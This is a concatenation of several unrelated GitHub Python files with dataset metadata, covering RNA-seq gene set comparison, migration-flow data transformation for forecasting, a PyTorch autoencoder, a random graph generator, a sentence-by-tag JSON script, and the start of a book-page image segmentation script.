outputFile\n\n################################## Global Variables for Data in File Explorer #######################\n## FileExtensions should match up with folderNames and have the same size\ncurrentDirectory = \"/Volumes/WD1/DEGlist\"\nfileExtensions = [\"*up.xls\",\"*down.xls\",\"*all.xls\"]\nfolderNames = ['up_regulate','down_regulate','all']\nnameOfFiles = []\nos.getcwd()\nos.chdir(currentDirectory)\n\n################################## Creating Sub-folders and Moving Files ############################\n## Finding up, down, & all gene files and put them in a new directory\n## Obtaining the names of all current files (from fileExtension)\nfor i in range(0,len(fileExtensions)):\n tempFileNames = []\n for fileName in glob.glob(fileExtensions[i]):\n tempFileNames.append(fileName)\n nameOfFiles.append(tempFileNames)\n\n## creating the directories (from folderNames)\nfor i in range(0,len(folderNames)):\n if not os.path.exists(folderNames[i]):\n os.makedirs(folderNames[i])\n\n## moving all current files in currentDirecotry to currentDirectory+folderNames\nfor i in range(0,len(folderNames)):\n for j in range(0,len(nameOfFiles[i])):\n d1 = currentDirectory + \"/\" + nameOfFiles[i][j]\n d2 = currentDirectory + \"/\" + folderNames[i] + \"/\" + nameOfFiles[i][j]\n os.rename(d1,d2)\n\n################################## Obtaining Files and Data #########################################\n## list files in upregulate: os.listdir('/Volumes/WD1/DEGlist/up_regulate')\n## sort files by names\nfullDataStructureIndices = []\nfileNames = []\n## loops through \"folderNames\". We do -1 because we don't care about the all folder\nfor i in range(0,len(folderNames)-1):\n os.chdir(currentDirectory + \"/\" + folderNames[i])\n tempFileNames = []\n for fileName in glob.glob(fileExtensions[i] + \"x\"): # gets all the file names\n tempFileNames.append(fileName)\n fileNames.append(tempFileNames)\n ## Group the files from G4-G7, G8-G11, G12-G15, G16-G19, G20-G23, G24-G27, G28-G31\n count = 4\n indexOfAllFileNames = []\n while count < 32:\n indexOfFileNames = []\n while len(indexOfFileNames) <4:\n for j in range(0,len(tempFileNames)):\n if numericalSort(tempFileNames[j]) == count:\n indexOfFileNames.append(j)\n count = count+1\n if len(indexOfFileNames) >3:\n break\n if count > 31:\n break\n indexOfAllFileNames.append(indexOfFileNames)\n fullDataStructureIndices.append(indexOfAllFileNames)\n\n## gets the data from all of the files in a clean format\ndataStructureNames = {}\ndataOfDataStucturesNames = {}\nfor i in range(0,len(folderNames)-1):\n tempDictionaryNames = folderNames[i]\n tempData = {}\n tempData3 = {}\n for j in range(0,7):\n groupNumber = j\n tempData2 = []\n tempData4 = []\n for k in range(0,len(fullDataStructureIndices[i][j])):\n tempData2.append(currentDirectory + \"/\" + folderNames[i] + \"/\" + fileNames[i][fullDataStructureIndices[i][j][k]])\n fileData = pandas.read_excel(currentDirectory + \"/\" + folderNames[i] + \"/\" + fileNames[i][fullDataStructureIndices[i][j][k]]).fillna(0)\n geneNames=fileData.Gene_ID\n tempData4.append(geneNames)\n tempData[groupNumber] = tempData2\n tempData3[groupNumber] = tempData4\n dataStructureNames[tempDictionaryNames] = tempData\n dataOfDataStucturesNames[tempDictionaryNames] = tempData3\n\n\n## Get file mitrixes as Up_regulate or down_regulate\n# [A1,B1,C1,D1] [G4,G5,G6,G7]\n# [A2,B2,C2,D2] [G8,G9,G10,G11]\n# ... ...\n# [A7,B7,C7,D7] [G28,G29,G30,G31]\n# Group1=Group1_up=[UC1, UD1] = [U21,U31]\n# Group2=Group1_down=[DC1,DD1] \n## Group3=Group2_up = [UB1,UC1] \n# Group4=Group2_down=[DB1,DC1] \n# Group5=Group3_original=[Group2_up, Group1_down]\n# Group6=Group4_original=[Group1_up, Group2_down]\n##Group7=[UC1-UA1-UB1] \n##Group8=[DC1-DA1-DB1] \n# Group9=[Group3-DA1-DB1]=[UB1,UC1]-[DA1]-[DB1] (Class two)\n# Group10=[UB1,DC1]-[UA1]-[DA1] (Class three)\n# Group11=[DB1,UC1]-[UA1]-[DA1] (Class four)\n\n#######################################################################################################\n################################## Data manilupation ##################################################\n## format for how to create all of the combinations of Gene's you would want \n#excelFile = createExcelFile(currentDirectory,\"Gene_ID_Compare_Group7.xlsx\")\n#\n#E.g. getData(, )\n#for i in range(0,len(data1)):\n# \n# ||\n# \n# data2File = pandas.DataFrame()\n# data2File.to_excel(excelFile,sheet_name=str(i))\n#excelFile.save()\n\nexcelFile = createExcelFile(currentDirectory,\"Gene_ID_Compare_Group1.xlsx\")\ndata1 = getData('up_regulate',2,dataOfDataStucturesNames)\ndata2 = getData('up_regulate',3,dataOfDataStucturesNames)\nfor i in range(0,len(data1)):\n data12 = intersectGenes(data1[i],data2[i])\n data2File = pandas.DataFrame(data12)\n data2File.to_excel(excelFile,sheet_name=str(i))\nexcelFile.save()\n\nexcelFile = createExcelFile(currentDirectory,\"Gene_ID_Compare_Group2.xlsx\")\ndata1 = getData('down_regulate',2,dataOfDataStucturesNames)\ndata2 = getData('down_regulate',3,dataOfDataStucturesNames)\nfor i in range(0,len(data1)):\n data12 = intersectGenes(data1[i],data2[i])\n data2File = pandas.DataFrame(data12)\n data2File.to_excel(excelFile,sheet_name=str(i))\nexcelFile.save()\n\nexcelFile = createExcelFile(currentDirectory,\"Gene_ID_Compare_Group3.xlsx\")\ndata1 = getData('up_regulate',1,dataOfDataStucturesNames)\ndata2 = getData('up_regulate',2,dataOfDataStucturesNames)\nfor i in range(0,len(data1)):\n data12 = intersectGenes(data1[i],data2[i])\n data2File = pandas.DataFrame(data12)\n data2File.to_excel(excelFile,sheet_name=str(i))\nexcelFile.save()\n\n#Group7= [UC1-UA1-UB1] (Class one)\nexcelFile = createExcelFile(currentDirectory,\"Gene_ID_Compare_Group7.xlsx\")\ndata1 = getData('up_regulate',2,dataOfDataStucturesNames)\ndata2 = getData('up_regulate',0,dataOfDataStucturesNames)\ndata3 = getData('up_regulate',1,dataOfDataStucturesNames)\nfor i in range(0,len(data1)):\n data12 = subtractGenes(data1[i],data2[i])\n data123 = subtractGenes(data12,data3[i])\n data2File = pandas.DataFrame(data123)\n data2File.to_excel(excelFile,sheet_name=str(i))\nexcelFile.save()\n\nexcelFile = createExcelFile(currentDirectory,\"Gene_ID_Compare_Group8.xlsx\")\ndata1 = getData('down_regulate',2,dataOfDataStucturesNames)\ndata2 = getData('down_regulate',0,dataOfDataStucturesNames)\ndata3 = getData('down_regulate',1,dataOfDataStucturesNames)\nfor i in range(0,len(data1)):\n data12 = subtractGenes(data1[i],data2[i])\n data123 = subtractGenes(data12,data3[i])\n data2File = pandas.DataFrame(data123)\n data2File.to_excel(excelFile,sheet_name=str(i))\nexcelFile.save()\n\n# Group3 = [UB1,UC1] \n# Group9 = [Group3-DA1-DB1] (Class two)\nexcelFile = createExcelFile(currentDirectory,\"Gene_ID_Compare_Group9.xlsx\")\ndata1 = getData('up_regulate',1,dataOfDataStucturesNames)\ndata2 = getData('up_regulate',2,dataOfDataStucturesNames)\ndata3 = getData('down_regulate',0,dataOfDataStucturesNames)\ndata4 = getData('down_regulate',1,dataOfDataStucturesNames)\nfor i in range(0,len(data1)):\n data12 = intersectGenes(data1[i],data2[i])\n data123 = subtractGenes(data12,data3[i])\n data1234 = subtractGenes(data123,data4[i])\n data2File = pandas.DataFrame(data1234)\n data2File.to_excel(excelFile,sheet_name=str(i))\nexcelFile.save()\n\n# Group10= [UB1,DC1]-[UA1]-[DA1] (Class three)\nexcelFile = createExcelFile(currentDirectory,\"Gene_ID_Compare_Group10.xlsx\")\ndata1 = getData('up_regulate',1,dataOfDataStucturesNames)\ndata2 = getData('down_regulate',2,dataOfDataStucturesNames)\ndata3 = getData('up_regulate',0,dataOfDataStucturesNames)\ndata4 = getData('down_regulate',0,dataOfDataStucturesNames)\nfor i in range(0,len(data1)):\n data12 = intersectGenes(data1[i],data2[i])\n data123 = subtractGenes(data12,data3[i])\n data1234 = subtractGenes(data123,data4[i])\n data2File = pandas.DataFrame(data1234)\n data2File.to_excel(excelFile,sheet_name=str(i))\nexcelFile.save()\n\n# Group11=[DB1,UC1]-[UA1]-[DA1] (Class four)\nexcelFile = createExcelFile(currentDirectory,\"Gene_ID_Compare_Group11.xlsx\")\ndata1 = getData('down_regulate',1,dataOfDataStucturesNames)\ndata2 = getData('up_regulate',2,dataOfDataStucturesNames)\ndata3 = getData('up_regulate',0,dataOfDataStucturesNames)\ndata4 = getData('down_regulate',0,dataOfDataStucturesNames)\nfor i in range(0,len(data1)):\n data12 = intersectGenes(data1[i],data2[i])\n data123 = subtractGenes(data12,data3[i])\n data1234 = subtractGenes(data123,data4[i])\n data2File = pandas.DataFrame(data1234)\n data2File.to_excel(excelFile,sheet_name=str(i))\nexcelFile.save()\n\n##Summary of the workbook\n##Comparison between worksheets\n\n##############################################################################\n###################Find highlighted rows in excel#############################\n\n## COMPARING GROUP FILES WITH HIGHLIGHTED FILES\n# TODO: change directory and read in highlighted file\ncurrentDirectory = \"/Volumes/WD1/DEGlist/Comparison files\"\nos.getcwd()\nos.chdir(currentDirectory)\nName_newfile=[]\n## Give new file name here\nName_newfile='Gene_ID in other study.xlsx'\nhighlight_workbook=xlrd.open_workbook(Name_newfile,'rb')\nhighlight_sheet=highlight_workbook.sheet_by_index(0)\nhighlight_ID=[]\nfor i in range(0,highlight_sheet.nrows):\n for j in range(0,highlight_sheet.ncols): \n j=0 ## Read the first column\n highlight_ID.append(highlight_sheet.cell(i,j).value)\n\nprint(highlight_ID)\n\n# read in group file\n#comparisonData = [][]\nimport pandas\nimport re\nimport openpyxl\n# from openpyxl import load_workbook\n\n\ncomparisonData = xlrd.open_workbook('comparison data.xlsx','rb')\n# Name_groupfile=[]\nnew_groupfile=[]\n#Example compare highlight files with group7 file \nName_groupfile='Gene_ID_Compare_Group7.xlsx'\n## Get number as k from the Name_groupfile\nregex=re.compile(r'\\d+')\nk=int(regex.search(Name_groupfile).group(0))\nread_groupfile = pandas.ExcelFile(Name_groupfile)\nfor j in range(0,len(read_groupfile.sheet_names)):\n read_sheet=pandas.read_excel(read_groupfile, index_col=None, usecols=\"A\", sheet_name=j)\n read_sheet_list=read_sheet.values.tolist()\n for i in range(0,len(highlight_ID)):\n ID_value=highlight_ID[i]\n if ID_value in read_sheet:\n #if read_sheet.ismember(ID_value):\n #comparisionData[i][j]=j+1\n sheet_to_write=comparisonData.sheet_by_index(k-6)\n cell_to_write=sheet_to_write.cell[i][j]\n cell_to_write.value=j+1 \n else:\n sheet_to_write=comparisonData.sheet_by_index(k-6)\n # cell_to_write=sheet_to_write.cell[i][j]\n cell_to_write = 3\n cell_to_write.value='N'\ncomparisonData.save()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"vivi-1/RNA_seq-data-analysis","sub_path":"Data grouping.py","file_name":"Data grouping.py","file_ext":"py","file_size_in_byte":12199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13757951774","text":"from .base import Transformer\nimport os\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\n\nISO_COUNTRY_CODES = os.path.join(os.path.dirname(__file__), 'countrycodes.csv')\n\n# Sub-Saharan country codes which are of interest for migration ORIGINS\nSOURCES = ['Burundi', 'Comoros', 'Djibouti',\n 'Eritrea', 'Ethiopia', 'French Southern Territories', 'Kenya', 'Madagascar',\n 'Malawi', 'Mauritius', 'Mayotte', 'Mozambique', 'Réunion', 'Rwanda', 'Seychelles',\n 'Somalia', 'South Sudan', 'United Republic of Tanzania', 'Uganda', 'Zambia', 'Zimbabwe']\n\n# Destination of interest\nDESTINATIONS = ['Italy', 'Sweden', 'Denmark', 'United Kingdom', 'Saudi Arabia', 'South Africa']\n\n\nclass MixedMigrationTransformer(Transformer):\n \"\"\"\n Generates the target forecast variable for each destination cluster.\n\n Based on target forecast variable from ETH (Ethiopia) to the destination countries.\n However, since we use data migratory sources from other Sub-Saharan Countries as well,\n these are also encoded as the target variable.\n\n Specifically, the target variable 'TARGET.ETH.TO.EU' that denotes annual mixed migration\n flow from Ethiopia to Europe, will also have flows from Somalia to EU for a row with that\n country code.\n\n year,value,Country Name,Country Code,Indicator Name,Indicator Code\n 1980,218.0,Ethiopia,ETH,Mixed Migration ETH to Europe,TARGET.ETH.TO.EU ---> Flows form ETH to EU\n 1981,376.0,Somalia,SOM,Mixed Migration ETH to Europe,TARGET.ETH.TO.EU ---> Flows from SOM to EU\n\n \"\"\"\n\n def __init__(self, source, target):\n super().__init__(source, target)\n self.iso = pd.read_csv(ISO_COUNTRY_CODES,\n usecols=[0, 2],\n names=['name', 'iso3'],\n header=0)\n\n # Fix naming difference\n self.iso.at[self.iso.name == \"United Kingdom of Great Britain and Northern Ireland\", 'name'] = \"United Kingdom\"\n\n def read(self):\n \"\"\" Overloaded method, since we have multiple sources \"\"\"\n\n self.unhcr = pd.read_csv(self.source[0],\n skiprows=4,\n na_values='*',\n names=['year', 'target', 'source', 'type', 'value'],\n dtype={'year': np.int32,\n 'value': np.float})\n\n self.yemen = pd.read_csv(self.source[1])\n\n self.undesa = pd.read_excel(self.source[2],\n sheet_name='Table 1',\n header=15,\n skipfooter=26,\n na_values='..')\n\n def __interpolate(self):\n \"\"\" A linear interpolation for UNDESA data which is every 5 years \"\"\"\n\n results = []\n base_years = set(np.arange(min(self.undesa.year), 2017, 1))\n\n for s in SOURCES:\n for d in DESTINATIONS:\n\n # fetch the time series for this pair\n c1 = self.undesa.target == d\n c2 = self.undesa.source == s\n\n # Assume that the UNDESA was consistent across years when\n # it considered Refugee numbers to be part of the migration stock\n R = any(self.undesa.loc[c1 & c2, 'R'])\n\n # A temporary frame to do the interpolation\n ts = pd.DataFrame({'target': d,\n 'source': s,\n 'R': R,\n 'year': self.undesa.loc[c1 & c2, 'year'],\n 'migration': self.undesa.loc[c1 & c2, 'migration']})\n\n if len(ts) >= 3:\n\n # only consider country pairs with at least 3 observations\n\n # years to interpolate\n interyears = list(base_years - set(ts.year.unique()))\n tr = pd.DataFrame({'target': [d for i in range(len(interyears))],\n 'source': [s for i in range(len(interyears))],\n 'R': [R for i in range(len(interyears))],\n 'year': interyears,\n 'migration': [np.nan for i in range(len(interyears))]\n })\n\n ts = ts.append(tr, ignore_index=True)\n\n # do the interpolation\n ts.sort_values(by='year', inplace=True)\n ts.set_index('year', inplace=True)\n ts.migration.interpolate(inplace=True)\n\n results.append(ts)\n\n else:\n print(\"{} -> {} has {} observations. Ignoring\".format(s, d, len(ts)))\n\n val = pd.concat(results)\n val.reset_index(inplace=True)\n return val\n\n def __undesa_transform(self):\n \"\"\" UNDESA data is for every 5 years, so we interpolate \"\"\"\n\n # For some reason, there is a nan-index at the end when read in\n # so drop the last value\n self.undesa = self.undesa[:-1]\n\n print(\"UNDESA migration matrix with {} rows.\".format(len(self.undesa)))\n\n # Excel reader doesn't read some of the headers\n headers = [\"Year\", \"Sort order\", \"Destination\", \"Notes\", \"Code\", \"Type of data\"]\n mapper = {\"Unnamed: {}\".format(k): v for k, v in zip(range(0, 6), headers)}\n self.undesa.rename(columns=mapper, inplace=True)\n\n # Remove the multi index for now - and treat them as columns\n self.undesa = self.undesa.reset_index()\n self.undesa.drop(columns=[\"Sort order\",\n \"Notes\",\n \"Code\",\n \"Total\",\n \"Other North\",\n \"Other South\"], inplace=True)\n\n # Some of the UNDESA migration numbers include the UNHCR numbers\n # This is indicated by the code \"R\" in the \"type of data\"\n # To avoid duplication at generating the target variables,\n # we use \"R\" as a flag to mark specific entries that\n # include migration numbers\n\n self.undesa['R'] = self \\\n .undesa['Type of data'] \\\n .apply(lambda x: True if 'R' in str(x) else False)\n self.undesa.drop(columns=['Type of data'], inplace=True)\n\n # Transform from matrix to long form\n self.undesa = self.undesa.melt(id_vars=['Year', 'Destination', 'R'],\n var_name='source',\n value_name='migration')\n\n # conform to the other sources\n self.undesa.rename(columns={'Destination': 'target'}, inplace=True)\n self.undesa['year'] = self.undesa['Year'].astype(int)\n self.undesa.drop(columns=['Year'], inplace=True)\n self.undesa = self.undesa[['year', 'source', 'target', 'R', 'migration']]\n print(\"UNDESA long form data with {} rows.\".format(len(self.undesa)))\n\n # Filter based on sources and destinations\n c1 = self.undesa.source.isin(SOURCES)\n c2 = self.undesa.target.isin(DESTINATIONS)\n self.undesa = self.undesa[c1 & c2]\n\n # Remove any nulls\n c3 = self.undesa.migration.isnull()\n self.undesa.migration[c3] = 0.0\n\n print(\"UNDESA data for SOURCE/DESTINATION countries with {} rows.\".format(len(self.undesa)))\n\n # Handle interpolation (linear for now)\n self.undesa = self.__interpolate()\n\n # EDIT - after the Dublin workshop, August 2018\n # UNDESA stats are for migrant stock. We need to derive flows.\n # Using a simplifying assumption:\n #\n # flow(t) = stock(t) - stock (t-1)\n #\n # Note there are other methods like Abel et al. (2016), which may\n # be more accurate here.\n\n self.undesa['migration'] = self.undesa.groupby(['source', 'target'])['migration'].transform(self.__get_flows)\n\n c1 = self.undesa.migration.isnull()\n self.undesa = self.undesa[~c1]\n\n def __get_flows(self, x):\n \"\"\" Helper script to compute flows from migration stock \"\"\"\n\n k = x.diff()\n k[k < 0] = 0 # flows of interest are positive\n return k\n\n def __unhcr_transformer(self):\n\n # Handle NA values\n print(\"UNHCR data with {} rows.\".format(len(self.unhcr)))\n self.unhcr.replace([np.inf, -np.inf], np.nan)\n self.unhcr = self.unhcr[~pd.isnull(self.unhcr.value)]\n self.unhcr['value'] = self.unhcr['value'].astype(int)\n print(\"UNHCR data sans NA values has {} rows.\".format(len(self.unhcr)))\n\n # Get the different populations in long form\n self.unhcr = self.unhcr.pivot_table(index=['year', 'source', 'target'],\n columns='type',\n values='value')\n\n self.unhcr.reset_index(level=['year', 'source', 'target'], inplace=True)\n\n # Filter based on sources and destinations\n c1 = self.unhcr.source.isin(SOURCES)\n c2 = self.unhcr.target.isin(DESTINATIONS)\n self.unhcr = self.unhcr[c1 & c2]\n\n self.unhcr.fillna(value=0, inplace=True)\n\n print(\"UNHCR data for SOURCE/DESTINATION countries with {} rows.\".format(len(self.unhcr)))\n\n def __yemen_arrivals_transformer(self):\n \"\"\"\n Yemeni arrivals data :\n UNHCR estimates for refugee/AS into Saudi Arabia are close\n to 0. Here we look at the DRC survey data on Yemeni arrivals\n The arrival numbers measured monthly for SOM (Somali) and\n Non-SOM (everybody else).\n\n DRC assumes that all Non-SOM flows recorded in Yemen are infact\n flows from Ethiopia to Saudi Arabia.\n\n The actual data has discontinuities around 2017. We previously\n used projections to address this (and were quite wrong in doing so)\n The revised approach is to manual input annual numbers from other\n sources (e.g. IOM).\n \"\"\"\n\n # The two origin categories as considered by DRC\n categories = [('SOM', 'Somalia'), ('Non-SOM', 'Ethiopia')]\n\n self.yemen = pd.concat([pd.DataFrame({'year': self.yemen.Year,\n 'DRCsurvey': self.yemen[lbl],\n 'source': src,\n 'target': 'Saudi Arabia'})\n for (lbl, src) in categories], ignore_index=True)\n\n def transform(self):\n \"\"\" Transform each of the sources and merge \"\"\"\n\n self.__undesa_transform()\n self.__unhcr_transformer()\n self.__yemen_arrivals_transformer()\n\n # Merge\n tmp = self.unhcr.merge(self.yemen,\n how='outer',\n on=['year', 'source', 'target'])\n\n data = tmp.merge(self.undesa,\n how='outer',\n on=['year', 'source', 'target'])\n\n data.fillna({'R': False}, inplace=True)\n data.fillna(value=0, inplace=True)\n\n # Here are all the populations of interest, i.e. contribute to\n # the target variable\n cols = ['migration',\n 'DRCsurvey',\n 'Refugees (incl. refugee-like situations)',\n 'Returned refugees',\n 'Others of concern',\n 'Asylum-seekers']\n\n # Add all the populations\n data['total'] = data[cols].sum(axis=1)\n\n # For cases where UNDESA migration estimates already include\n # Refugee numbers from UNHCR, subtract the Refugee totals\n data.loc[data.R, 'total'] = data.loc[data.R, 'total'] \\\n - data.loc[data.R, 'Refugees (incl. refugee-like situations)']\n\n # Drop all non-essential columns\n cols = ['migration',\n 'DRCsurvey',\n 'Refugees (incl. refugee-like situations)',\n 'Returned refugees',\n 'Others of concern',\n 'Asylum-seekers',\n 'Internally displaced persons',\n 'Returned IDPs',\n 'Stateless persons',\n 'R']\n\n data.drop(columns=cols, inplace=True)\n data.rename(columns={'total': 'value'}, inplace=True)\n\n # Assign indicator codes based on destination\n data = data.merge(self.iso, how='left', left_on='source', right_on='name')\n data.rename(columns={'source': 'Country Name', 'iso3': 'Country Code'}, inplace=True)\n data.drop(columns=['name'], inplace=True)\n\n # Get country codes for the sources\n data = data.merge(self.iso, how='left', left_on='target', right_on='name')\n data['Indicator Name'] = \"Mixed migration to \" + data['target']\n data['Indicator Code'] = \"ETH.TO.\" + data['iso3']\n data.drop(columns=['name', 'iso3', 'target'], inplace=True)\n\n self.df = data\n","repo_name":"IBM/mixed-migration-forecasting","sub_path":"server/transformer/mixedmigration.py","file_name":"mixedmigration.py","file_ext":"py","file_size_in_byte":12999,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"70503984722","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nlatent_dim = 50\n\n\nclass Encoder(nn.Module):\n def __init__(self, latent_dim, n_inputs):\n super(Encoder, self).__init__()\n self.enc1 = nn.Linear(n_inputs, 1000)\n self.enc2 = nn.Linear(1000, 100)\n self.enc3 = nn.Linear(100, latent_dim)\n\n\n\n\n #def forward(self, x, prior_mu, prior_sigma, prior_sigma_square):\n\n def forward(self, x):\n x = F.leaky_relu(self.enc1(x))\n x = F.leaky_relu(self.enc2(x))\n # reshape the latent layer\n x = self.enc3(x)\n\n return x\n\n\nclass Decoder(nn.Module):\n def __init__(self, latent_dim, n_inputs):#, n_features_path, n_features_trans):\n super(Decoder, self).__init__()\n self.dec1 = nn.Linear(latent_dim, 100)\n self.dec2 = nn.Linear(100, 1000)\n self.dec3 = nn.Linear(1000, n_inputs)\n # self.n_features_path = n_features_path\n # self.n_features_trans = n_features_trans\n\n def forward(self, x):\n x = F.leaky_relu(self.dec1(x))\n x = F.leaky_relu(self.dec2(x))\n reconstruction = F.softplus(self.dec3(x))\n return reconstruction\n\n\n## Model of the simple VAE\nclass simpleAE(nn.Module):\n def __init__(self, n_inputs):\n super(simpleAE, self).__init__()\n self.encoder = Encoder(latent_dim, n_inputs,)\n self.decoder = Decoder(latent_dim, n_inputs)\n\n def forward(self, x):\n z = self.encoder(x)\n return self.decoder(z)\n","repo_name":"BinLiu9205/deepRNA_autoencoder","sub_path":"source_code/models/simpleAE.py","file_name":"simpleAE.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37065160872","text":"#!/usr/bin/env python3\n\nimport sys\nimport random\n\nif (len(sys.argv)) < 3: exit(1)\n\nn = int(sys.argv[1])\nf = open(sys.argv[2], mode='w')\n\nf.write(sys.argv[1] + '\\n')\n\nfor i in range(2*n):\n # add edge from [0, n/2) to [n/2, n]\n start = random.randint(0, n//2 - 1)\n end = random.randint(n//2, n-1)\n f.write(\"%d %d\\n\" %(start, end))\n\nf.close()\n","repo_name":"agwilt/alma1","sub_path":"graphs/makebipartite.py","file_name":"makebipartite.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3936995800","text":"import json\nfrom collections import defaultdict\n\n'''\n For all extracted sentences in aura/mls corpus, create dictionary mapping from tag to all sentences with that tag\n ie: { (aura/mls, o3): [sentence, sentence, .....], ... }\n'''\n\n\nwith open('../ml_data/raw_data_aura_mls_ONLY_noNO.json') as f:\n raw_data = json.load(f)\n\ntag_sentences = defaultdict(set)\n\nfor key, value in raw_data.items():\n for k, v in value['data'].items():\n for sentence in v['sentences']:\n tag_sentences[k].add(sentence)\n\ntag_sentences_list = {}\nfor key, value in tag_sentences.items():\n tag_sentences_list[key] = list(value)\n\nwith open('../ml_data/sentences_by_tags.json', 'w', encoding='utf-8') as f:\n json.dump(tag_sentences_list, f, indent=4)","repo_name":"edwardj4747/Automated-Approach-to-Dataset-Labeling","sub_path":"ML/run_once/tag_to_all_sentences_with_tag.py","file_name":"tag_to_all_sentences_with_tag.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71119901203","text":"## Notebook typically runs out of memory.\n# However, it can be very hard to follow what's going on over several Python scripts\n# Therefore, this is an All-In-One code script that can be run individually.\n\n##############################################\n################ Please note: ################\n#\n# This is a rather long script.\n# It may take a long time to follow along completely.\n# The general structure is to define all \"shared\" methods first.\n# Afterwards it will define each part as a function and below this the functions used in that part.\n# Below this, the scripts that actually load images and call parts are placed.\n# Typically, these do not need to be altered much.\n# At the very end, various helpful functions are placed in case they are needed or desired to make changes.\n#\n# Sometimes, using the show_img method can be useful to spot problems on-the-fly.\n# However, for some purposes the images displayed in this way may be inadequate (they might be too small to spot details).\n# You are then advised to write the images to disk and evaluate them that way. Another helpful function for this is the OpenCV imshow function.\n# This is not implemented in a short-hand way, so you will have to do this manually where you need it, or define this function yourself.\n#\n##############################################\n##############################################\n\n### Retrieve imports\nimport cv2\nimport numpy as np\nimport os\nfrom scipy import ndimage as ndi\nfrom morphology import get_morph\nfrom matplotlib import pyplot as plt\nfrom skimage.filters import gabor\nfrom skimage.feature import peak_local_max\nfrom skimage.morphology import white_tophat\nfrom line_cleaning import line_cleaning\nfrom copy import deepcopy\nfrom PST import PST\n\n# Define your OS here. Currently, accepted values are \"win\" or \"linux\"\n# This value is only used to define path names for loading images,\n# and if paths do not work properly, you can edit these calls yourself\nos_selected = \"win\"\n\n##########################################################################################\n\n## Define various image retrieval methods\nclass ImageHelper:\n def __init__(self):\n self.id = 0\n\n # Avoid using arrays of images unless specific reasons require this\n def set_img_array(self, name, n_img, img_format):\n self.img_array = [None] * n_img\n for i in range(n_img):\n self.img_array[i] = cv2.imread(name + str(i + 1) + img_format)\n\n def get_img_generator(self, name, img_format, n_img):\n for i in range(n_img):\n yield cv2.imread(name + str(i + 1) + img_format)\n\n def get_img_array(self, n_img):\n return self.img_array\n\n def get_img(self, name):\n return cv2.imread(name)\n\ndef write_img(name, img):\n status = cv2.imwrite(name, img)\n return status\n\ndef open_file(name: str, multiple: bool, n_img: int):\n if multiple:\n imgs_obj = ImageHelper()\n imgs_obj = imgs_obj.get_img_generator(name=name, n_img=n_img, img_format=\".JPG\")\n return imgs_obj\n else:\n img_obj = ImageHelper()\n img_obj.img = img_obj.get_img(name=name)\n return img_obj\n\ndef show_img(img, title):\n plt.imshow(img, cmap = 'gray', interpolation = 'bicubic')\n plt.title(title)\n plt.xticks([]), plt.yticks([]) # to hide tick values on X and Y axis\n plt.show()\n\n##########################################################################################\n\n#### Different image resizing methods (both are used)\n\ndef pyramid(img, direction: str, iterations: int):\n ## The pyramid iterates by factors of two in either direction\n # Thus it retains its width to height proportion\n has_color = True\n if len(img.shape) < 3:\n has_color = False\n if direction == \"down\":\n for i in range(iterations):\n if has_color:\n rows, cols, _channels = map(int, img.shape)\n ## Alternative syntax:\n # rows, cols, _channels = img.shape[0], img.shape[1], img.shape[2]\n else:\n ## If it is a grayscale image, there's no such thing as _channels\n rows, cols = map(int, img.shape)\n img = cv2.pyrDown(img, dstsize=(cols // 2, rows // 2))\n else:\n for i in range(iterations):\n if has_color:\n rows, cols, _channels = map(int, img.shape)\n else:\n rows, cols = map(int, img.shape)\n img = cv2.pyrUp(img, dstsize=(cols * 2, rows * 2))\n return img\n\ndef resize(img, dim):\n return cv2.resize(img, dim, interpolation=cv2.INTER_CUBIC)\n\n##########################################################################################\n\n### Define booleans\n\n# Provided images are already scaled and have shading corrected\n## Moreover, shading correction can go wrong - while it is highly useful on photographs,\n## it may corrupt scanned images. Therefore, be careful in using it.\nscale = False\ncorrect_shading = False\n\n# Provided images do not have book cropped\nseg_book = True\n\n# Be careful with the noise clearing algorithm\n# It runs slowly and may corrupt the photographed images\n# The noise removal algorithm seems to work well on scanned images, however\nnoise = False\n\n# Sharpening and normalization are used to increase the contrast between text / lines and background\nsharpen = True\nnormalize = True\n\n# PST is a patented algorithm which is restricted for use in commercial applications.\n# An acceptable alternative is Canny. Declare whether to use PST.\nuses_PST = True\n\ndef part_one(img):\n ## Book segmentation\n scale_copy, segment_copy, sharp_copy = None, None, None\n\n blurred = cv2.GaussianBlur(img, (5, 5), 5 / 6)\n if scale:\n if seg_book:\n unscaled_copy = deepcopy(blurred)\n scale_copy, img = call_scale(blurred, direction=\"down\", iters=2)\n else:\n scale_copy, img = call_scale(blurred, direction=\"down\", iters=2)\n\n if seg_book:\n if correct_shading:\n img = correct_shading(img).astype(np.uint8)\n # padded = add_padding(img)\n # sharp_copy, img = call_sharpen(img)\n gs = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # ret, thresh = cv2.threshold(gs, 0, 255, cv2.THRESH_OTSU)\n hsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n lower_blue = np.array([0, 0, 100])\n higher_blue = np.array([60, 60, 255])\n\n lower_magenta = np.array([100, 0, 100])\n higher_magenta = np.array([255, 40, 255])\n\n b_mask = cv2.inRange(hsv_img, lower_blue, higher_blue)\n m_mask = cv2.inRange(hsv_img, lower_magenta, higher_magenta)\n\n final = (gs & b_mask) | (gs & m_mask)\n thresh = get_morph(\n get_morph(final, morph=\"close\", sz=(7,7), kernel = \"ones\", threshold=True),\n morph=\"erode\", sz=(3,3), kernel=\"ones\")\n # show_img(thresh.astype(np.uint8), \"thresh in main\")\n # padded = add_padding(thresh)\n # show_img(padded, \"second padding\")\n img, book_x, book_y, book_w, book_h = segmentation(thresh.astype(np.uint8), img)\n segment_copy = deepcopy(img)\n # show_img(img, \"img\")\n else:\n segment_copy = deepcopy(img)\n # show_img(img, \"img\")\n\n if noise:\n img = remove_noise(img)\n\n if sharpen:\n if normalize:\n img = cv2.cvtColor(img, 